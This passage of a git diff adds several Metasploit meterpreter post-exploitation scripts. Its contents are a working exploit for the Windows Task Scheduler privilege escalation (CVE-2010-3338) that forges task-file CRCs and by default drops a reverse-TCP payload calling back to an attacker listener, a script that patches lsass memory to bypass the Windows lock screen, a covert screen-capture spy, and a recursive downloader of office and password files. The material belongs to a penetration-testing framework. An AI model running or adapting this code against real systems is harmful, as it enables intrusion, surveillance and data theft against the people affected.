|
||||
|
||||
# Making sure that is running as System a Username and Password for target machine must be provided
|
||||
|
||||
if is_system? && rusr == nil && rpass == nil
|
||||
|
||||
print_status("Stopped: Running as System and no user provided for connecting to target!!")
|
||||
|
||||
else trg != nil && helpcall != 1
|
||||
|
||||
file_local_write(dest,headerbuid(session,trg,dest))
|
||||
file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))
|
||||
|
||||
end
|
||||
elsif helpcall == 0 and trg == ""
|
||||
|
||||
helpmsg
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
394
scripts/meterpreter/schelevator.rb
Normal file
394
scripts/meterpreter/schelevator.rb
Normal file
@ -0,0 +1,394 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet
|
||||
#
|
||||
# Disclosed around Oct 22, 2010
|
||||
#
|
||||
# written by jduck
|
||||
#
|
||||
# NOTE: Thanks to webDEViL for the information about disable/enable.
|
||||
# http://www.exploit-db.com/exploits/15589/
|
||||
#
|
||||
# CVE 2010-3338
|
||||
# MSB MS10-092
|
||||
#
|
||||
##
|
||||
|
||||
require 'zlib'
|
||||
|
||||
#
|
||||
# Filter out sessions that this definitely won't work on.
|
||||
#
|
||||
unless [ARCH_X64, ARCH_X86, ARCH_JAVA].include(session.arch)
|
||||
print_error("#{session.arch} is not supported.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
unless session.platform == 'windows'
|
||||
print_error("#{session.platform} is not supported.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
if session.sys.config.sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86
|
||||
#
|
||||
# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
|
||||
# worse, meterpreter/railgun creates things in a new thread, making it much more
|
||||
# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
|
||||
# offer a workaround and error out.
|
||||
#
|
||||
print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
vuln = false
|
||||
winver = session.sys.config.sysinfo["OS"]
|
||||
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
|
||||
affected.each { |v|
|
||||
if winver.include? v
|
||||
vuln = true
|
||||
break
|
||||
end
|
||||
}
|
||||
if not vuln
|
||||
print_error("#{winver} is not vulnerable.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# We have a chance to succeed, check params
|
||||
#
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-c" => [ true, "Execute the specified command" ],
|
||||
"-u" => [ true, "Upload and execute the specified file" ],
|
||||
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
||||
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
|
||||
"-t" => [ true, "Use the specified task name" ]
|
||||
)
|
||||
|
||||
def usage
|
||||
print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation")
|
||||
print(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
rhost = Rex::Socket.source_address
|
||||
rport = 4444
|
||||
taskname = nil
|
||||
cmd = nil
|
||||
upload_fn = nil
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
|
||||
when "-c"
|
||||
cmd = val
|
||||
|
||||
when "-u"
|
||||
upload_fn = val
|
||||
if not ::File.exist?(upload_fn)
|
||||
raise "Specified file to upload does not exist!"
|
||||
end
|
||||
|
||||
when "-t"
|
||||
taskname = val
|
||||
|
||||
when "-h"
|
||||
usage
|
||||
|
||||
when "-r"
|
||||
rhost = val
|
||||
|
||||
when "-p"
|
||||
rport = val.to_i
|
||||
end
|
||||
}
|
||||
|
||||
envs = session.sys.config.getenvs('SystemRoot', 'TEMP')
|
||||
sysdir = envs['SystemRoot']
|
||||
tmpdir = envs['TEMP']
|
||||
|
||||
# Must have at least one of -c or -u
|
||||
if not cmd and not upload_fn
|
||||
print_status("Using default reverse-connect meterpreter payload; -c or -u not specified")
|
||||
|
||||
# Get the exe payload.
|
||||
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
|
||||
pay.datastore['LHOST'] = rhost
|
||||
pay.datastore['LPORT'] = rport
|
||||
raw = pay.generate
|
||||
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
|
||||
#and placing it on the target in %TEMP%
|
||||
tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
|
||||
cmd = tmpdir + "\\" + tempexename + ".exe"
|
||||
print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}")
|
||||
fd = client.fs.file.new(cmd, "wb")
|
||||
fd.write(exe)
|
||||
fd.close
|
||||
|
||||
#get handler to be ready
|
||||
handler = client.framework.exploits.create("multi/handler")
|
||||
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
|
||||
handler.datastore['LHOST'] = rhost
|
||||
handler.datastore['LPORT'] = rport
|
||||
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
||||
handler.datastore['ExitOnSession'] = false
|
||||
#start a handler to be ready
|
||||
handler.exploit_simple(
|
||||
'Payload' => handler.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
end
|
||||
|
||||
if cmd
|
||||
print_status("Using command: #{cmd}")
|
||||
end
|
||||
|
||||
#
|
||||
# Upload the payload command if needed
|
||||
#
|
||||
if upload_fn
|
||||
begin
|
||||
location = tmpdir.dup
|
||||
ext = upload_fn.split('.')
|
||||
if ext
|
||||
ext = ext.last.downcase
|
||||
if ext == "exe"
|
||||
location << "\\svhost#{rand(100)}.exe"
|
||||
else
|
||||
location << "\\TMP#{rand(100)}.#{ext}"
|
||||
end
|
||||
else
|
||||
location << "\\TMP#{rand(100)}"
|
||||
end
|
||||
|
||||
print_status("Uploading #{upload_fn} to #{location}....")
|
||||
session.fs.file.upload_file(location, upload_fn)
|
||||
print_status("Upload complete.")
|
||||
rescue ::Exception => e
|
||||
print_error("Error uploading file #{upload_fn}: #{e.class} #{e}")
|
||||
raise e
|
||||
end
|
||||
|
||||
cmd ||= location
|
||||
end
|
||||
|
||||
def crc32(data)
|
||||
table = Zlib.crc_table
|
||||
crc = 0xffffffff
|
||||
data.unpack('C*').each { |b|
|
||||
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
|
||||
}
|
||||
crc
|
||||
end
|
||||
|
||||
def fix_crc32(data, old_crc)
|
||||
#
|
||||
# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
|
||||
# reversed from Microsoft's code)
|
||||
#
|
||||
bwd_table = [
|
||||
0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
|
||||
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
|
||||
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
|
||||
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
|
||||
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
|
||||
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
|
||||
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
|
||||
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
|
||||
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
|
||||
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
|
||||
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
|
||||
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
|
||||
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
|
||||
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
|
||||
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
|
||||
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
|
||||
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
|
||||
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
|
||||
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
|
||||
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
|
||||
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
|
||||
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
|
||||
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
|
||||
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
|
||||
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
|
||||
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
|
||||
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
|
||||
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
|
||||
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
|
||||
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
|
||||
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
|
||||
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
|
||||
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
|
||||
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
|
||||
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
|
||||
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
|
||||
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
|
||||
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
|
||||
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
|
||||
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
|
||||
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
|
||||
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
|
||||
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
|
||||
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
|
||||
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
|
||||
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
|
||||
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
|
||||
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
|
||||
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
|
||||
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
|
||||
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
|
||||
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
|
||||
0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
|
||||
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
|
||||
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
|
||||
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
|
||||
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
|
||||
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
|
||||
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
|
||||
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
|
||||
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
|
||||
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
|
||||
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
|
||||
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
|
||||
]
|
||||
|
||||
crc = crc32(data[0, data.length - 12])
|
||||
data[-12, 4] = [crc].pack('V')
|
||||
|
||||
data[-12, 12].unpack('C*').reverse.each { |b|
|
||||
old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
|
||||
}
|
||||
data[-12, 4] = [old_crc].pack('V')
|
||||
end
|
||||
|
||||
def exec_schtasks(cmdline, purpose)
|
||||
lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR")
|
||||
success = false
|
||||
lns.each_line { |ln|
|
||||
ln.chomp!
|
||||
if ln =~ /^SCHELEVATOR$/
|
||||
success = true
|
||||
else
|
||||
print_status(ln)
|
||||
end
|
||||
}
|
||||
raise "Unable to #{purpose}!" if not success
|
||||
end
|
||||
|
||||
|
||||
def read_task_file(taskname, taskfile)
|
||||
print_status("Reading the task file contents from #{taskfile}...")
|
||||
|
||||
# Can't read the file directly on 2008?
|
||||
content = ''
|
||||
fd = client.fs.file.new(taskfile, "rb")
|
||||
until fd.eof?
|
||||
content << fd.read
|
||||
end
|
||||
fd.close
|
||||
|
||||
content
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Create a new task to do our bidding, but make sure it doesn't run.
|
||||
#
|
||||
taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
|
||||
taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"
|
||||
|
||||
print_status("Creating task: #{taskname}")
|
||||
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
|
||||
exec_schtasks(cmdline, "create the task")
|
||||
|
||||
#
|
||||
# Read the contents of the newly creates task file
|
||||
#
|
||||
content = read_task_file(taskname, taskfile)
|
||||
|
||||
#
|
||||
# Double-check that we got what we expect.
|
||||
#
|
||||
if content[0,2] != "\xff\xfe"
|
||||
#
|
||||
# Convert to unicode, since it isn't already
|
||||
#
|
||||
content = content.unpack('C*').pack('v*')
|
||||
else
|
||||
#
|
||||
# NOTE: we strip the BOM here to exclude it from the crc32 calculation
|
||||
#
|
||||
content = content[2,content.length]
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Record the crc32 for later calculations
|
||||
#
|
||||
old_crc32 = crc32(content)
|
||||
print_status("Original CRC32: 0x%x" % old_crc32)
|
||||
|
||||
#
|
||||
# Convert the file contents from unicode
|
||||
#
|
||||
content = content.unpack('v*').pack('C*')
|
||||
|
||||
#
|
||||
# Mangle the contents to now run with SYSTEM privileges
|
||||
#
|
||||
content.gsub!('LeastPrivilege', 'HighestAvailable')
|
||||
content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
|
||||
content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
|
||||
#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
|
||||
content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
|
||||
content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
|
||||
content << "<!-- ZZ -->"
|
||||
|
||||
#
|
||||
# Convert it back to unicode
|
||||
#
|
||||
content = Rex::Text.to_unicode(content)
|
||||
|
||||
#
|
||||
# Fix it so the CRC matches again
|
||||
#
|
||||
fix_crc32(content, old_crc32)
|
||||
new_crc32 = crc32(content)
|
||||
print_status("Final CRC32: 0x%x" % new_crc32)
|
||||
|
||||
#
|
||||
# Write the new content back
|
||||
#
|
||||
print_status("Writing our modified content back...")
|
||||
fd = client.fs.file.new(taskfile, "wb")
|
||||
fd.write "\xff\xfe" + content
|
||||
fd.close
|
||||
|
||||
#
|
||||
# Run the task :-)
|
||||
#
|
||||
print_status("Disabling the task...")
|
||||
exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")
|
||||
|
||||
print_status("Enabling the task...")
|
||||
exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")
|
||||
|
||||
print_status("Executing the task...")
|
||||
exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")
|
||||
|
||||
|
||||
#
|
||||
# And delete it.
|
||||
#
|
||||
print_status("Deleting the task...")
|
||||
exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")
|
84
scripts/meterpreter/screen_unlock.rb
Normal file
84
scripts/meterpreter/screen_unlock.rb
Normal file
@ -0,0 +1,84 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Script to unlock a windows screen by L4teral <l4teral [4t] gmail com>
|
||||
# Needs system prvileges to run and known signatures for the target system.
|
||||
# This script patches msv1_0.dll loaded by lsass.exe
|
||||
#
|
||||
# Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
|
||||
#
|
||||
|
||||
revert = false
|
||||
targets = [
|
||||
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ },
|
||||
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }
|
||||
]
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ],
|
||||
"-r" => [ false, "revert the patch (enable screen locking again)"]
|
||||
)
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-r"
|
||||
revert = true
|
||||
when "-h"
|
||||
print_line("")
|
||||
print_line("USAGE: run screen_unlock [-r]")
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
os = client.sys.config.sysinfo['OS']
|
||||
|
||||
targets.each do |t|
|
||||
if os =~ t[:os]
|
||||
target = t
|
||||
print_status("OS '#{os}' found in known targets")
|
||||
pid = client.sys.process["lsass.exe"]
|
||||
p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
dllbase = p.image["msv1_0.dll"]
|
||||
|
||||
sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0]
|
||||
if sig != target[:sig]
|
||||
print_error("found signature does not match")
|
||||
next
|
||||
end
|
||||
old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0]
|
||||
if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
|
||||
print_error("found code does not match")
|
||||
next
|
||||
end
|
||||
|
||||
print_status("patching...")
|
||||
new_code = revert ? target[:orig_code] : target[:patch]
|
||||
p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*"))
|
||||
|
||||
written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0]
|
||||
if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))
|
||||
print_status("done!")
|
||||
raise Rex::Script::Completed
|
||||
else
|
||||
print_error("failed!")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_status("no working target found")
|
||||
|
158
scripts/meterpreter/screenspy.rb
Normal file
158
scripts/meterpreter/screenspy.rb
Normal file
@ -0,0 +1,158 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com
|
||||
#
|
||||
# Thie script will open an interactive view of remote hosts
|
||||
# You will need firefox installed on your machine
|
||||
|
||||
|
||||
require 'fileutils'
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-d" => [ true, "The Delay in seconds between each screenshot." ],
|
||||
"-t" => [ true, "The time to run in sec." ],
|
||||
"-s" => [ true, "The local system linux/windows" ]
|
||||
)
|
||||
|
||||
freq = 3
|
||||
count = 10
|
||||
file = "screenshot.jpeg"
|
||||
meter_type = client.platform
|
||||
localsys = "linux"
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-d'
|
||||
freq = val.to_i
|
||||
when '-t'
|
||||
count = val.to_i
|
||||
when '-s'
|
||||
localsys = val.to_s
|
||||
|
||||
when "-h"
|
||||
print_line
|
||||
print_line "Screenspy v1.0"
|
||||
print_line "--------------"
|
||||
print_line
|
||||
print_line
|
||||
print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long."
|
||||
print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long."
|
||||
print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode."
|
||||
print_line
|
||||
print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
|
||||
session = client
|
||||
|
||||
|
||||
|
||||
host,port = session.session_host, session.session_port
|
||||
|
||||
print_status("New session on #{host}:#{port}...")
|
||||
|
||||
logs = ::File.join(Msf::Config.install_root, 'logs', 'screenshot', host)
|
||||
|
||||
outfile = ::File.join(Msf::Config.log_directory,file)
|
||||
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
|
||||
begin
|
||||
process2mig = "explorer.exe"
|
||||
|
||||
# Actual migration
|
||||
mypid = session.sys.process.getpid
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
|
||||
print_status("#{process2mig} Process found, migrating into #{x['pid']}")
|
||||
session.core.migrate(x['pid'].to_i)
|
||||
print_status("Migration Successful!!")
|
||||
end
|
||||
end
|
||||
rescue
|
||||
print_status("Failed to migrate process!")
|
||||
#next
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
session.core.use("espia")
|
||||
|
||||
|
||||
begin
|
||||
|
||||
data="<title>#{host}</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><meta http-equiv='refresh' content='1'>"
|
||||
path1 = File.join(logs,"video.html")
|
||||
File.open(path1, 'w') do |f2|
|
||||
f2.puts(data)
|
||||
end
|
||||
|
||||
|
||||
if (localsys == "windows")
|
||||
|
||||
print_status("Runing in local mode => windows")
|
||||
print_status("Opening Interactive view...")
|
||||
localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
|
||||
else
|
||||
print_status("Runing in local mode => Linux")
|
||||
print_status("Opening Interactive view...")
|
||||
localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
|
||||
end
|
||||
|
||||
system (localcmd)
|
||||
(1..count).each do |i|
|
||||
sleep(freq) if(i != 1)
|
||||
path = File.join(logs,"screenshot.jpeg")
|
||||
data = session.espia.espia_image_get_dev_screen
|
||||
|
||||
if(data)
|
||||
::File.open(path, 'wb') do |fd|
|
||||
fd.write(data)
|
||||
fd.close()
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
print_status("The interactive Session ended...")
|
||||
data = <<-EOS
|
||||
<title>#{host} - Interactive Session ended</title>
|
||||
<img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'>
|
||||
<script>alert('Interactive Session ended - Happy Hunting')</script>
|
||||
EOS
|
||||
File.open(path1, 'w') do |f2|
|
||||
f2.puts(data)
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
print_status("Exception: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
107
scripts/meterpreter/search_dwld.rb
Normal file
107
scripts/meterpreter/search_dwld.rb
Normal file
@ -0,0 +1,107 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
## Meterpreter script that recursively search and download
|
||||
## files matching a given pattern
|
||||
## Provided by Nicob <nicob [at] nicob.net>
|
||||
|
||||
## == WARNING ==
|
||||
## As said by mmiller, this kind of script is slow and noisy :
|
||||
## http://www.metasploit.com/archive/framework/msg01670.html
|
||||
## However, it can sometimes save your ass ;-)
|
||||
## == WARNING ==
|
||||
|
||||
# Filters
|
||||
$filters = {
|
||||
'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$',
|
||||
'win9x' => '\.pwl$',
|
||||
'passwd' => '(pass|pwd)',
|
||||
}
|
||||
|
||||
@@opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ]
|
||||
)
|
||||
|
||||
def usage
|
||||
print_line "search_dwld -- recursively search for and download files matching a given pattern"
|
||||
print_line "USAGE: run search_dwld [base directory] [filter] [pattern]"
|
||||
print_line
|
||||
print_line "filter can be a defined pattern or 'free', in which case pattern must be given"
|
||||
print_line "Defined patterns:"
|
||||
print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n")
|
||||
print_line
|
||||
print_line "Examples:"
|
||||
print_line " run search_dwld"
|
||||
print_line " => recursively look for (MS|Open)Office in C:\\"
|
||||
print_line " run search_dwld %USERPROFILE% win9x"
|
||||
print_line " => recursively look for *.PWL files in the user home directory"
|
||||
print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'"
|
||||
print_line " => recursively look for pictures in the E: drive"
|
||||
print_line(@@opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
@@opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
def scan(path)
|
||||
begin
|
||||
dirs = client.fs.dir.foreach(path)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Error scanning #{path}: #{$!}")
|
||||
return
|
||||
end
|
||||
|
||||
dirs.each {|x|
|
||||
next if x =~ /^(\.|\.\.)$/
|
||||
fullpath = path + '\\' + x
|
||||
|
||||
if client.fs.file.stat(fullpath).directory?
|
||||
scan(fullpath)
|
||||
elsif fullpath =~ /#{$motif}/i
|
||||
# Replace ':' or '%' or '\' by '_'
|
||||
dst = fullpath.tr_s(":|\%|\\", "_")
|
||||
dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst)
|
||||
print_line("Downloading '#{fullpath}' to '#{dst}'")
|
||||
client.fs.file.download_file(dst, fullpath)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#check for proper Meterpreter Platform
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
# Get arguments
|
||||
basedir = args[0] || "C:\\"
|
||||
filter = args[1] || "office"
|
||||
|
||||
# Set the regexp
|
||||
if filter == 'free'
|
||||
if args[2].nil?
|
||||
raise RuntimeError.new("free filter requires pattern argument")
|
||||
end
|
||||
$motif = args[2]
|
||||
else
|
||||
$motif = $filters[filter]
|
||||
end
|
||||
|
||||
if $motif.nil?
|
||||
raise RuntimeError.new("Unrecognized filter")
|
||||
end
|
||||
|
||||
# Search and download
|
||||
scan(basedir)
|
||||
|
210
scripts/meterpreter/service_permissions_escalate.rb
Normal file
210
scripts/meterpreter/service_permissions_escalate.rb
Normal file
